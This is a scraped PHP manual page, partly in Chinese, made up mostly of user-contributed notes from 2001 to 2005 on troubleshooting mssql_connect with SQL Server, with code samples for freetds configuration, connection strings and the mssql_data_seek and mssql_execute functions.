The SQL Server box in my case listens on both named pipes and TCP/IP, as defined in the Server Network Utility.
nickwsmith at lineone dot net
20-Jan-2005 10:07
The biggest problem i found was being able to connect to sql2k from one IIS box but not being able to connect using a different machine on the same network. (either iis 5 or6, win2k servers or 2003)

The trick is the NTWDBLIB.DLL (copied from  system32 on the sql box), make sure you user the same file on the IIS box as on the sql server you are trying to connect to.
Tobi
19-Jan-2005 01:57
The issue mentioned by PyRo is not solved by the replacement of the dll. Even with the 8.0 version, the same error occurs.
This fixed the problem in my environment:
- change the php.ini: "mssql.secure_connection = On" in the extension section for mssql.
- restart the IIS
- set up the mssql with the proper user settings (e.g. for iusr_servername) for the database.
petr /*dot*/ havlicek at phlab [dot) net
16-Jan-2005 08:17
I had problems connecting to multiple instance of MSSQL so I tried solution suggested by guilherme_cruz at uol dot com dot br 29-Aug-2002 07:45. It works great but I had to change line \\SERVER_NAME\pipe\MSSQL$INSTANCE_NAME\sql\query
 to \\.\pipe\MSSQL$INSTANCE_NAME\sql\query.
Regards
Petr
PyRo
14-Jan-2005 03:31
There seems to be an issue with the MSSQL extension and Windows Server 2003 Web Edition that prevents a connection to an SQL server, reporting an error like this "Not associated with a trusted SQL Server connection" when trying to use mssql_connect().

However, the bug seems to be residing in ntwdblib.dll, which comes with PHP and also with the Microsoft SQL Client.  I've found that using the SQL Client's version of ntwdblib.dll (version 8.0+) fixes the issues with MSSQL, but unfortunately the SQL Client cannot be installed on the Web Edition version of Server 2003.

So, the simple work-around or fix would be to obtain a newer version of ntwdblib.dll (8.0+) supplied from one of Microsoft's SQL applications and then overwrite your PHP version (7.0) with it on the Web Edition machine.  This should allow proper connectivity with mssql_connect().
henry aluede
24-Dec-2004 09:22
if u plan to connect to mssql, and u had previously worked on sybase, u will get a duplicate error. to correct this just exclude the sybase dll in your php.ini file
bartlewis at gmail dot com
16-Dec-2004 10:17
I am yet another person who had problems getting php[5] to play nicely with SQL Server 2000 [MSDE] on WinXP SP2 w/IIS. Following the notes on this page from previous users did get me closer, but I still could not connect. I was getting an error that said, in essence:

"MACHINENAME\IUSR_MACHINENAME" could not connect to the server.

Through some painstaking googeling I was able to resolve the problem by following this MSKB article:
http://support.microsoft.com/default.aspx?scid=kb;en-us;319930

It seems that my default install of MSDE did NOT "Enable Mixed Mode Authentication" which is required for this kind of connection. To make matters worse, the only way to change this with MSDE is to go mucking with the registry (which always freaks me out a bit). The above article explains how to do this.
cbunk at arescorporation dot com
14-Dec-2004 06:09
I was having problems connecting a IIS6 Webserver on a 2003 windows box to a MSSQL Installation running windows 2000.  After suspecting ntwdblib.dll I tried updating the file but with no luck.  Finally I figured out the problem by noticing that in addition to a copy of the file living in the windows directory there was one in the PHP directory as well (from the zip package).  Although I had an up to date version of the file in my windows directory the one in the php directory was getting read instead.  I simply removed the file from my php installation directory and all worked well.
chrisputnam at gmail dot com
18-Nov-2004 11:54
If you're having trouble getting PHP to connect to a SQL 2000 Server (the MSDE, specifically), try running the Server Network Client usually located at C:\Program Files\Microsoft SQL Server\80\Tools\Binn\SVRNETCN.exe

Disable all protocols but Named Pipes. Then Apply your changes, click OK, and restart the SQL service with these commands at a command prompt:

net stop mssqlserver [if it says the agent will stop too, let it happen]
net start mssqlserver
net start sqlserveragent

That fixed it all for me.

Also note that named pipes has a huge performance difference against TCP/IP. Named pipes are a tremendous amount faster.

I have been working on this for two days now and I hope someone else stumbles across my solution!
paul at ensigma dot com dot au
19-Oct-2004 08:10
It seems a lot of people are having trouble connecting to MSDE - so did I. Eventually I got it working. The trick was to change to registered server name from (local) to be the same as the machine name (ie in the Enterprise Manager, delete the registration and then re-register it). Also, make sure TCP/IP is enabled (and I actually removed named pipes for good measure). Viola - connection successful.
mworku at securiant dot com
03-Oct-2004 07:16
It looks like by default libphp5 ignores freetd's conf file if you
specify your SQL server's ip address within the mssql_connect() function.

If you need to utilize freetds.conf file for connection parameters use the putenv function as follows

<?
  putenv('FREETDSCONF='path to your freetds conf. file')

  /*
   SQL CODE
   mssql_connect('MSSQL_2000, 'user' , 'pwd');
   ....
   ....
  */
?>

All connection parameters should now be read from the conf file. Also don't enable logging unless you're debugging, performace will suffer.

/* freetds.conf
 [MSSQL_2000]
   host = 192.168.10.10
   port = 1433
   tds version = 8.0
;    dump file = /etc/freetds/log/freetds.log
;            dump file append = yes
;    debug level = 99
*/
vask at rocketmail dot com
03-Sep-2004 08:33
About the problem below: Most times this occurs when the windows guest account on the database server machine (i.e. the machine on which the database server is running) is disabled.
jonord at cfl dot se
11-May-2004 09:53
I had problems connecting to an SQL 2000 database running on a W2K server from IIS6 on an Windows 2003 server. I got an error message saying  "Unable to connect to server: <server name>" all the time.

 The 2003 server didn't have the MDAC components installed, installing the latest version (2.8 as of writing) seems to solve that problem.
bianco at bluetone dot com
01-Apr-2004 09:12
Little idea about 255 characters limitation. :)

In tables I'm using column type "varchar" or "nvarchar" instead "text". And also I use for example varchar(8000). And there is "a bug". :) PHP will read this column only as varchar(255). So how to read more then 255 chars from varchar(8000)? It is very easy, use CAST to convert varchar type to text type.

select CAST(Comment as TEXT) from Job

PHP will read it. Check php.ini section [MSSQL] and set maximum text length. Check parameters

mssql.textlimit = 4096
mssql.textsize = 4096

Maximum length is 2147483647

Bye
nuying117 at 163 dot com
15-Mar-2004 11:35
I came across the same question as jack,but there was no effect when i use his method.and then ,I created a user named IUSER_YOUR_COMPUTER_NAME which is the same as the user who start the IIS process,it works!
markus dot amsler at oribi dot org
20-Feb-2004 11:23
Make sure you disable ANSI to OEM Conversion in your SQL Server Client Network Utility -> DB Library Options if you are using these extension from the CLI. Otherwise you get encoding problems with special characters. For further information look at http://bugs.php.net/bug.php?id=27324
stephan at towli dot ch
16-Feb-2004 11:12
Applies to : IIS 5.0, PHP 4.3.4, MS-SQL 2000

If you try to connect to a host with multiple SQL-Server instances, you have to copy the ntwdblib.dll from a MS SQL 2000 installation to the system32 directory of your webserver.

The ntwdblib.dll bundled with php 4.3.4 does not support multpiple server instance.

I used the DLL version 2000.80.194.0 that came with MS SQL Server 8.00.194.

Example:
$dbhost="server_name\instance_name,port_number";
$dbuser="foo";
$dbpass="foo";
$dbname="foo";
$db=mssql_connect($dbhost,$dbuser,$dbpass);
mssql_select_db($dbname,$db);
labrat457_minusthispart!_*-*_!yahoo.com
18-Jan-2004 03:35
If you aren't "married" to a linux distribution yet, and want a quick turn-key solution for connecting to a mssql server from apache/php running on linux...here's what worked for me.  Gentoo Linux has the freetds package (and sqsh, which is a cool tool) available as an emerge-able package (currently v0.61).  Install the latest Gentoo distro (at this time is 1.4).  Emerge freetds (and sqsh if you want it).  No special make flags were needed.  Download the latest tarballs of apache and php...follow the instructions for building statically.  Make sure you include the "--with-mssql" statement in php ./configure options.  With Gentoo, I didn't have to point the --with-mssql at a particular directory (I simply put "--with-mssql" and that's it) since freetds was installed via portage and was located automagically.  Freetds looks for a freetds.conf file in several places..one of them being /etc, which was where portage installed it.  My freetds.conf (minus comments and such) looks as follows:
[global]
       tds version = 4.2
       initial block size = 512
       swap broken dates = no
       swap broken money = no
       try server login = yes
       try domain login = no
       cross domain login = no
       text size = 64512
[MyServer70]
       host = 192.168.0.25
       port = 1433
       tds version = 7.0

This may not be the most optimized config, but it worked.  After everything is compiled and installed (with 4.3.4 I *did not* have to put in a line such as extension=mssql.so as earlier posts have mentioned in my php.ini file), start apache and try out your install with the following code snippet:

<?
$msconnect=mssql_connect("MyServer70","sa","");
$msdb=mssql_select_db("Northwind",$msconnect);
$msquery = "select titleofcourtesy,firstname,lastname from employees";
$msresults= mssql_query($msquery);
while ($row = mssql_fetch_array($msresults)) {
       echo "<li>" . $row['titleofcourtesy'] . " " . $row['firstname'] . " " . $row['lastname'] .  "</li>\n";
}
?>

Note, as previously mentioned, the "server" portion of the mssql_connect() must match the string used in the freetds.conf file.  My test mssql server was configured for "mixed mode authentication", "sa" for admin name, and blank password.  Adjust your connection string for your environment.

It may be just as easy to get this running with RedHat or other distro...your mileage may vary.  This, as I said, was what worked for me and it was very straightforward and worked without any special tricks.  Sorry if this has some redundant info in it, but I hope this helps someone :)  Cheers!
puppy2205 at yahoo dot com
22-Dec-2003 04:43
my problem with the mssql connection was that the password was too long...  i didn't test to see the max char allowable... but if your mssql password is long (more than maybe 10-15)...try shortening it to 6 just to test... this seemed to work for me...

the only error was "supplied argument is not a valid MS SQL-Link resource"

hope this saves someone else 4 hours :)
jack at mvps dot removethis dot andthis dot org
10-Dec-2003 08:32
I'm running PHP 4.3.3 on IIS on a Windows XP workstation and connecting to SQL Server 2000 on a remote server.

I found that even though I had "SQL and Windows Authentication" selected, and even if I was using the "sa" account, I wasn't able to connect to the database and I would receive the message:

Warning: mssql_connect(): message: Login failed for user '(null)'. Reason: Not associated with a trusted SQL Server connection. (severity 14) in {filename} on line {line number}

I discovered that NT Authentication was turned on in php.ini:
[MSSQL]
mssql.secure_connection = On

By switching this to Off, the user name and password credentials supplied in the function call work correctly.
jeremyirons at genevus dot com
13-Jul-2003 08:51
Using MSSQL 2000 and Windows Server 2003 Enterprise running on a separate machine from the web server, I was unable to get PHP to connect to MSSQL with default Windows Server 2003 settings.  I got it working the following way:

From the Windows Server 2003 machine:
Control Panel -> Local Security Settings -> Security Settings -> Local Policies -> Security Options
Set "Network access: Let Everyone permissions apply to anonymous users" to Enabled

There is probably a better way, but this works
S.A. Tan
02-Jul-2003 06:58
Just a little comment that I would like to add:

If you intend to access MS SQL server remotely, you need to install SQL Server Client Tools on the system which hosts your PHP code.
php at burntpopcorn dot net
04-Jun-2003 10:53
I don't see it mentioned here, but if you are using SQL Server 2000, then you should use a comma instead of a colon to specify the port, for example:

$sql = mssql_connect ("192.168.1.2,1433", "username", "password") or die ("Could not connect to database: ".mssql_get_last_message());

instead of:

$sql = mssql_connect ("192.168.1.2:1433", "username", "password") or die ("Could not connect to database: ".mssql_get_last_message());
Erik dot Uffelen-van*NOSPAM* at *rem*dsm dot com
15-Feb-2003 05:20
mssql_connect () ERROR due to invalid DLLs

I had a problem connecting to a MSSQL database, I want to connect to a compaq insight database.

Using: A workstation with: win 2K Server SP2
PHP ver 4.3 win32
MsSql 7.0 (on a remote system)
IIS 5.0 (comes with win2K)

What i did:
* get the php_mssql.dll
* get the ntwdblib.dll
* configure your php.ini

GET php_mssql.dll:
This dll can be found in the binary zip of php 4.3 (not the self installing package)
Put it in your extensions dir (extensions dir found in php.ini) In my case (default install with PHP installer) same dir as PHP.exe
NOTE: I dont know what the php_mssql70.dll library is.. never found it in a distribution of PHP or on the net.

GET ntwdblib.dll
This dll can also be found in the binary zip of php 4.3 in the dlls subdir. put it in the system32 dir.
WATCH OUT... i used a copy found on a MSSQL server, used that.. couldn't get it to work.. My function calls seamed OK, could call the mssql routines but I got a connection error
When I used the dll distributed with the binary zip of php 4.3 it worked.

configure your PHP.ini
uncomment the php_mssql.dll in the extensions part of php.ini
also check if the extensions dir is set correctly.. it should point to the dir where your extensions are located.

Hope this helpes.!
Gordon McCague
13-Feb-2003 03:27
I am running PHP 4.2.1, Windows 2000, with a MSSQL Server 7.0 isolated from our web DMZ (separate DMZ for our SQL Server).

mssql_connect in version 4.2.1 seems to insist on using named pipes to connect to the SQL Server. This is not secure as it requires netbios browsing (tcp/udp ports 137, 139, and 445 (with windows2000)). This is an unacceptable security risk.

To resolve this issue use your MSSQL 7.0 CD to perform a  install on your web server. Select a custom install. You will be prompted to select your components. Uncheck the "Server Components" box to avoid installing the full server offering. Leave "Client Connectivity" checked.

You can leave "Management Tools" selected as well if you wish to test your connection or run queries against the database engine. Installing them may pose a security risk so some might not choose to do so.

Don't forget to install the latest service pack and MDAC components once the initial installtion is complete. The MDAC components can be obtained from http://www.microsoft.com/data/

SQL Service Packs can be obtained from http://www.microsoft.com/sql

Once you have installed the updates and patchs then you need to run the "Client Network Utility" to enable TCPIP as the network protocol for connectivity to your SQL Server.

You will need to enable TCPIP and also create an alias to your SQL Server for TCPIP. This process should be self-evident once you run the utility. You may want to consult the SQL online manuals for assistance if uncomfortable with the configuration.

This should now allow you to access your SQL Server via ports 1433 and 1434 (or whatever you have enable as the port of communication). It is a best practice to consider changing the ports of communication to the SQL Server and I believe this can be done with the Network Client Utility (to something other than 1433 and 1434).

You can always build a little test file to check your connectivity once your system is up and running.

Good luck!

P.S. I have not looked to see if PHP 4.3.0 resolves this issue but I don't plan to test too much. I like to know how the web servers are connected to the SQL server.
tsangel at hamosu dot yonsei dot ac dot kr
31-Jan-2003 05:03
To connect named instance, you have to specify the port number for name instance.
This document help you find the instance port number.

HOWTO: Connect to a SQL Server 2000 Named Instance with JDBC
( http://support.microsoft.com/default.aspx?scid=kb;en-us;Q313225 )

To find the SQL Server instance port number, follow these steps: ...blahblahblah...
Filipus
18-Jan-2003 11:02
Linux MDK 9.0, PHP 4.3.0 MSSQL 2000 on remote host
We used freetds (www.freetds.org) compiled with parameter:
./configure --prefix=/usr/local/freetds
PHP was compiled with parameter:
./configure --with-mssql=/usr/local/freetds [and some others]

We added our section in /usr/local/freetds/freetds.conf
----------------------------------
[MyServer70]
   host = 172.16.20.81
   port = 1433
   tds version = 7.0
----------------------------------
in mssql_connect() you have to provide as a hostname the name you put between [] brackets in freetds.conf OR specify host:port

$connection = mssql_connect("MyServer70", "d", "d");
or
$connection = mssql_connect("172.16.20.81:1433", "d", "d");

Remember to specify port!
kokice_77 at yahoo dot com
10-Dec-2002 07:13
I'm running Windows XP, SQLServer 2000, Apache 1.3.23 and PHP 4.2.3.

This worked perfecty for me:

<?php

$myServer = "localhost";
$myUser = "sa";
$myPass = "password";
$myDB = "Northwind";

$s = @mssql_connect($myServer, $myUser, $myPass)
or die("Couldn't connect to SQL Server on $myServer");

$d = @mssql_select_db($myDB, $s)
or die("Couldn't open database $myDB");

$query = "SELECT TitleOfCourtesy+' '+FirstName+' '+LastName AS Employee ";
$query .= "FROM Employees ";
$query .= "WHERE Country='USA' AND Left(HomePhone, 5) = '(206)'";

$result = mssql_query($query);
$numRows = mssql_num_rows($result);

echo "<h1>" . $numRows . " Row" . ($numRows == 1 ? "" : "s") . " Returned </h1>";

while($row = mssql_fetch_array($result))
{
echo "<li>" . $row["Employee"] . "</li>";
}

?>

Running example from this site:

http://www.devarticles.com/art/1/100/3

The thing is, you must choose authentication from windows AND SQL Server. Otherwhise it will not work. During the installation of SQLServer you choose this option, and set a password to the user "sa".

Hope it helps.
cdthompso1 at yahoo dot com
20-Nov-2002 02:36
My config:

 webserver - PHP 4.2.3 (from php.net) + W2K SP2 + IIS5
 database server - MSSQL2K

My webserver never had the SQL2K client installed so I copied NTWDBLIB.DLL into c:\winnt\system32, as the instructions stated.  Using the NTWDBLIB.DLL that came packaged with PHP, I could not connect to my database server.  I then copied the version of NTWDBLIB.DLL from my database server to c:\winnt\system32 on the webserver and was immediately able to connect successfully.  I assume this is because I am using MSSQL2K and the NTWDBLIB.DLL packaged with PHP is for MSSQL 7.

NOTE:  unlike the user above, when I look at phpinfo() output, the mssql version is still reported as 7.0, though I am using NTWDBLIB.DLL from a MSSQL2K install (8.0?).  Perhaps this is compiled into the php_mssql.dll and does not come from NTWDBLIB.DLL.
sstamps at nexvs dot net
14-Nov-2002 05:25
There is a copy/paste error in the above text where it refers to the server name having to appear in the 'interfaces' file. This may have been true at one time, because somehow Sybase and MSSQL support used a similar interface, thus this was probably copy/pasted into this section from the Sybase version of this function. However, it is no longer true.

I was having a problem getting MSSQL to work and was having a devil of a time finding ANY documentation on the 'interfaces' file for MSSQL (mainly because it DOES NOT EXIST); turns out it was a config problem that was easily fixed, once I stopped wasting time chasing the wild goose.

SO, the short version is to IGNORE the reference to the 'interfaces' file above for MSSQL, and look elsewhere for problems getting MSSQL support working. Just a friendly bit of time-saving advice. :O)

Also, the format of the 'servername' parameter is: 'hostname_or_ipaddress[,port]' . Ex: 'dbs.mydomain.com' or '10.45.234.17,2031'. Only append the port number if your MSSQL server uses a port other than the default port 1033. Using a colon instead of a comma doesn't work (at least not for me, but YMMV).
damien at mightyoaks dot com
13-Nov-2002 08:03
SQL Server 2000 may be listening on port 2433, instead of the default port 1433 that the MSSQL client libraries and old MSSQL servers use.  In this case, you might end up with mssql_connect() using port 1433 and SQL Server denying the connection.

If you are unable to connect, you can start by verifying the port SQL Server is listening on.  From the database server, run Start->Program Files->Microsoft SQL Server->Server Network Utility.  Select TCP/IP from the list of protocols and press Properties... - it will say what port the server is listening on (usually 1433 or 2433).

With SQL Server 2000 SP2 I was unable to change the default TCP/IP port on the server side.  But you can still change the default port the client libraries are using.  On your PHP machine, first make sure you have the MS SQL server Client utilities installed, then run Start->Program Files->Microsoft SQL Server->Client Network Utility.  Choose "TCP/IP" from the Enabled protocols list and press "Properties...".  Enter the port number that the server is listening on here (2433 in my case).

Once server and client are using the same port, PHP will be able to connect properly.
s dot westermayer at nospam-netnnet dot de
04-Sep-2002 08:34
SQL Server Authentication Mode must be set to "SQL Server and Windows" or your SQL Server will not accept a connection and diplay:
Warning: MS SQL message: Login failed for user 'myuser'. Reason: Not associated with a trusted SQL Server connection. (severity 14) in...
guilherme_cruz at uol dot com dot br
29-Aug-2002 01:45
>> Problems With Multiple Instances <<

If you are having problems to connect PHP 4.x to MSSQL 2000 on Win2K, there is a simple way to solve it:

Open the Client Network Utility and do the following:

1. Add a new Alias choosing Named Pipes
2. Type in the Alias field (anything you want): CONN1
3. Erase Server field and type exactly: SERVER_NAME\INSTANCE_NAME

The field Pipe Name should be: \\SERVER_NAME\pipe\MSSQL$INSTANCE_NAME\sql\query

Now, in PHP, use:

mssql_connect('CONN1', 'username', 'password');
or
mssql_pconnect('CONN1', 'username', 'password');

Regards
Guilherme Cruz
jackveral at yahoo dot com
23-May-2002 01:32
PHP 4.X + Win2000Server + IIS5 + SQLServer 2000

Problems establishing the conection.

Besides my comment about the instances of SQLServer (see above), its very important to have the latest version of NTWDBLIB.DLL. With Php 4.2.1 comes de NTWDBLIB version 7.00, with this version the conection isnt work! you have to install the version that comes with the client of SQLServer 2000. Be careful, because installing the client sometimes doesnt replace the NTWDBLIB, then search for it in the SQLServer Installer Disc an replace it in the system32 directory of Windows(SQLSERver 2000 comes with Version 8.00 of NTWDBLIB.DLL).

Bye!

;-)
ianm at firstlinux dot net
17-May-2002 05:14
I was unable to connect to the SQL Server with mssql_connect($host,$user,$pw) - despite having checked and re-checked user names and passwords - until I changed the user authentication type from NT Authentication to SQL Server Authentication.
jackveral at yahoo dot com
25-Apr-2002 08:12
Problems using mssql_connect with MSSQL 2000.

You have to:

1 - have installed MSSQL 2000 Client on the server that run PHP. This allows to use the libraries of MSSQL.

2 - when you use mssql_connect the parameter SERVERNAME has to be SERVERNAME\INSTANCE.
   Ej: mssql_connect("MYSERVER\\MYINSTANCE","USER","PASWWORD")

NOTE the use of \\ intead of \, because this is escape caracter. This is very important!!

If you dont have configured instances on your server use as instance the name of the server.
   Ej: mssql_connect("MYSERVER\\MYSERVER","USER","PASWWORD")
fbellavance at agricom dot ca
10-Apr-2002 06:41
I managed to solve the probleme above. Here is how I did it. Hope this helps someone else.

first, I created a new instance of MSSQL 2k using the installer. There are 2 things I did that are important. first, I didn't use the default port (by default, if you install a new instance, it actualy uses the same port as the default one, stupid I know, but that's how it seams to work). Then I also removed, in the name pipe name, the $instancename. this is important later.

now, for some reason, mssql_pconnect wouldn't take the port number we specified to it. Even using the default instance/port it wouldn't connect (1433). So what I did was create an ODBC entry that had the name I wanted to use to connect to my db, and omited EVERYWHERE to mention the instance's name. Then, I connect using the server name and the port I specified for the new instance in client configuration,
in the ODBC link. Then when I use pconnect, I use it like this mssql_pconnect("$odbc_link_name","$username","$password");

It seams like it uses the ODBC link like a DNS entry to find where to connect to the database server. Hope this helps :)
fbellavance at agricom dot ca
09-Apr-2002 01:48
Note that in MSSQL 2000, there is a new fonctionality called multiple instances. They are accessed using <servername>\<instance name>
However, this does NOT work under php. You may only access the primary instance.

The reason for this seams to be that the library doesn't support the format. Instead, it seams to make a call to a server called <servername\instancename>. This results in a failed connection.

makes you wonder why M$ didn't just make it so you could access a second mssql deamon on a different port.
michael at gillam dot com
04-Apr-2002 01:57
PROBLEM:
php_mssql.dll Extension Not Found on Windows 2000 ?

Getting a 'Unable to Load Dynamic Library' error for php_mssql.dll despite the extension being *exactly* where it should be?

ANSWER: The answer is you need the *latest version* of php_mssql.dll.  PREVIOUS VERSIONS OF THE DLL DO NOT WORK!

Download the latest Window binary from http://www.php.net/downloads.php
(The 5.8MB+ version.) Unzip it and look for the extension you need.
mazdak at actfit dot com
25-Jun-2001 12:19
Procedure for M$SQL Support in PHP 4.0.5+/*NIX
==============================================

What We Need ?
==============
* PHP Source (latest)
* FreeTDS (http://www.freetds.org/) get latest stable version
* Patience!!!
* Dual Login Mode in SQL Server Enterprise Manager
 (Windows ONLY login will not work!)

Installation Procedure !
========================
(1)
> tar -xzvf freetds-xxx.tgz
> cd freetds-xxx/
> ./configure --prefix=/usr/local/ftds --with-tdsver=4.2 --enable-dbmfix
> make && make install

(2)
> Edit your /etc/ld.so.conf (or equivalant) add /usr/local/ftds/lib to it
> run ldconfig (located in /sbin/ldconfig in linux)

(3) GET READY TO HACK!!!
> tar -xzvf php-xxx.tar.gz
> cd php-xxx/
> edit 'ext/sybase/config.m4', replace 'dbopen' with 'tdsdbopen'
  (in version 4.0.6 of PHP this in on line 27 of config.m4)
> (I am not sure if this step is 100% necessary, but do it anyway!)
  edit the 'configure' file and look for PHP_SYBASE_DBOPEN, you should see two
  different versions of this.  As follows:
  #define PHP_SYBASE_DBOPEN tdsdbopen    <-- leave this alone
  #define PHP_SYBASE_DBOPEN dbopen      <-- change this to #define PHP_SYBASE_DBOPEN tdsdbopen

(4)
> ./configure [put other php options here] --with-mssql=/usr/local/ftds --with-sybase=/usr/local/ftds
> make && make install
> cp php.ini-dist /usr/local/lib/php.ini  (the location of this file may differ for your installation)

(5)
> Now, edit /usr/local/lib/php.ini file, look for 'sybase.interface_file' directive
> uncomment it and change the value to /usr/local/ftds/interfaces (location where you installed freeTDS)

(6)
> Edit /usr/local/ftds/interfaces file, for MSSQL, you have to add
  an entry like the following*:

  mssqlconnection
     query tcp tds4.2 IPADDRESS_OF_SQL_SERVER 1433

  *  when writing PHP code, use the name "mssqlconnection" for hostname,
     so you would use something like:
     $conn = "mssqlconnection";
     $username = "myuser";
     $password = "mypass";
     $dbc = mssql_connect ("$conn", "$username", "$password");

(7)
> Do a check to see if everything is OK, by starting Apache.
yeppikae at hotmail dot com
29-Mar-2001 08:02
If you're doing all the above stuff on home computer, then chances are that $hostname="localhost" might not work. I have seen this happen few cases, including mine. Well, i was messing around with my home lan. Anyways make sure that you point $hostname to your machine name. That is if your machine name is say "MYSELF" then have $hostname="MYSELF". It does the trick!

Reason for this - well as far as i understood if you assign a static private IP address to your NIC (i.e. you're not using DSL or cable, or better not connected to net) then the loopback doesn't point to your IP address but to 127.0.01. And localhost points to 127.0.01. Well the apparent mix up.
add a note add a note

后退 | 起点 | 前进
mssql_close | 上一级 | mssql_data_seek


mssql_data_seek

(PHP 3, PHP 4, PHP 5)

mssql_data_seek -- Moves internal row pointer

Description

bool mssql_data_seek ( resource result_identifier, int row_number )

如果成功则返回 TRUE，失败则返回 FALSE。

mssql_data_seek() moves the internal row pointer of the MS SQL result associated with the specified result identifier to point to the specified row number, first row being number 0. The next call to mssql_fetch_row() would return that row.

add a note add a note User Contributed Notes
phpcomments at hltools dot com
20-Jul-2005 07:33
mssql_data_seek will return false AND trigger a warning ('Bad row offset') if you specify a row outside the result set.
You'll need to check beforehand if the row you are trying to seek to exists. Or you can supress the error and look for the false result, depending on your needs.

To check beforehand (where $result is the result fo your query and $seek is the row number you want to seek to):
<?php
$rowcount = mssql_num_rows($result);
if ($seek >= $rowcount)
{
   print ("Trying to seek outside result set!");
}
else
{
   if (!mssql_data_seek($result, $seek))
   {
       print ("Seek failed");
   }
   else
   {
       print ("Seek complete");
   }
}
?>

To have a 'simpler' way of handling errors by supressing the warning:
<?php
if (!@mssql_data_seek($result, $seek))
{
   print ("Seek failed");
}
else
{
   print ("Seek complete");
}
?>
add a note add a note

后退 | 起点 | 前进
mssql_connect | 上一级 | mssql_execute


mssql_execute

(PHP 4 >= 4.1.0, PHP 5)

mssql_execute -- Executes a stored procedure on a MS SQL server database

Description

mixed mssql_execute ( resource stmt [, bool skip_results] )

警告

本函数暂无文档，仅有参数列表。

注: If the stored procedure returns parameters or a return value these will be available after the call to mssql_execute() unless the stored procedure returns more than one result set. In that case use mssql_next_result() to shift through the results. When the last result has been processed the output parameters and return values will be available.

See also mssql_bind(),
mssql_free_statement(), and
mssql_init().

add a note add a note User Contributed Notes
mpoletto at gmail dot com
22-Feb-2005 03:04
The constant SQLINT4 is not working with datetime. Try using SQLVARCHAR.
SQL dot User at Yandex dot Ru
13-Jul-2004 12:38
To receive output parameter from the procedure which returns one or several recordsets, try this code:

...
mssql_bind($my_procedure, "@OutputParameter", SQLVARCHAR, true);
$result = mssql_execute($my_procedure);
while(mssql_next_recordset($result)) {
## do something
}

after listing last recordset output parameter will be available (strange...).

If you do not need output recordsets, just parameters, try this:

mssql_bind($my_procedure, "@OutputParameter", SQLVARCHAR, true);
$result = mssql_execute($my_procedure, true);

P.S. Tested on PHP 4.3.5.
marco dot carvalho at NOSPAM dot uni-yoga dot org dot br
08-Jun-2004 05:00
<?PHP

/*
<font color="#007f00">
Gets all fields properties from table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>True</b> or <b>false</b>
</font>
*/

function mssql_get_all_fields_properties($object){
   $res=mssql_query("select colorder,name,xtype,length,xprec from syscolumns where id = object_id('$object')");
   if($res){
     while(($tmp = mssql_fetch_assoc($res))){
       $ret[$tmp['colorder']] = $tmp;
     }
     $GLOBALS['MSSQL_PROP_'.$object] = $ret;
     return true;
   }
   else return false;
}

/*
<font color="#007f00">
Gets <b>$field</b> properties from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>Array of properties</b> or <b>false</b> if some error occured.
</font>
*/

function mssql_get_field_properties($object,$field)
{
   if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop;
   }
}

/*
<font color="#007f00">
Gets <b>$field</b> length from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>length</b> or <b>false</b> if some error occured.
</font>
*/
function mssql_get_field_length($object,$field)
{
  if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop['length'];
   }
}

/*
<font color="#007f00">
Gets <b>$field</b> xprec from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>length</b> or <b>false</b> if some error occured.
</font>
*/
function mssql_get_field_length($object,$field)
{
  if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop['xprec'];
   }
}

/*
<font color="#007f00">
Gets <b>$field</b> xprec from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>length</b> or <b>false</b> if some error occured.
</font>
*/
function mssql_get_field_colorder($object,$field)
{
  if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop['colorder'];
   }
}

?>
marco dot carvalho at NOSPAM dot uni-yoga dot org dot br
08-Jun-2004 04:57
<?PHP

/*This functions will help you to get SQLTYPES direct from systypes and you can associate them with PHPSQLTYPES. */

/* <font color="#007f00">Associete PHP types with systypes..xtypes,
   see <b>mssql_get_types()</b> </font>*/

if(!defined('dbMSSQL_Types'))
{
   define('dbMSSqlTypes',1);
   $MSSQL_types[127] = SQLINT4;    /* bigint*/
   $MSSQL_types[104] = SQLBIT;    /* bit*/
   $MSSQL_types[175] = SQLCHAR;    /* char*/
   $MSSQL_types[56]  = SQLINT2;    /* int*/
   $MSSQL_types[52]  = SQLINT2;    /* smallint*/
   $MSSQL_types[35]  = SQLTEXT;    /* text*/
   $MSSQL_types[48]  = SQLINT1;    /* tinyint*/
   $MSSQL_types[167] = SQLVARCHAR; /* varchar*/
   $MSSQL_types[62]  = SQLFLT8;    /* float*/
   $MSSQL_types[173] = SQLVARCHAR; /* binary*/        // Adaptation
   $MSSQL_types[61]  = SQLINT4;    /* datetime*/      // Adaptation
   $MSSQL_types[106] = SQLFLT8;    /* decimal*/        // Adaptation
   $MSSQL_types[34]  = SQLVARCHAR; /* image*/          // Adaptation
   $MSSQL_types[60]  = SQLFLT8;    /* money*/          // Adaptation
   $MSSQL_types[239] = SQLCHAR;    /* nchar*/          // Adaptation
   $MSSQL_types[99]  = SQLTEXT;    /* ntext*/          // Adaptation
   $MSSQL_types[108] = SQLFLT8;    /* numeric*/        // Adaptation
   $MSSQL_types[231] = SQLVARCHAR; /* nvarchar*/      // Adaptation
   $MSSQL_types[59]  = SQLFLT8;    /* real*/          // Adaptation
   $MSSQL_types[58]  = SQLINT4;    /* smalldatetime*/  // Adaptation
   $MSSQL_types[122] = SQLFLT8;    /* smallmoney*/    // Adaptation
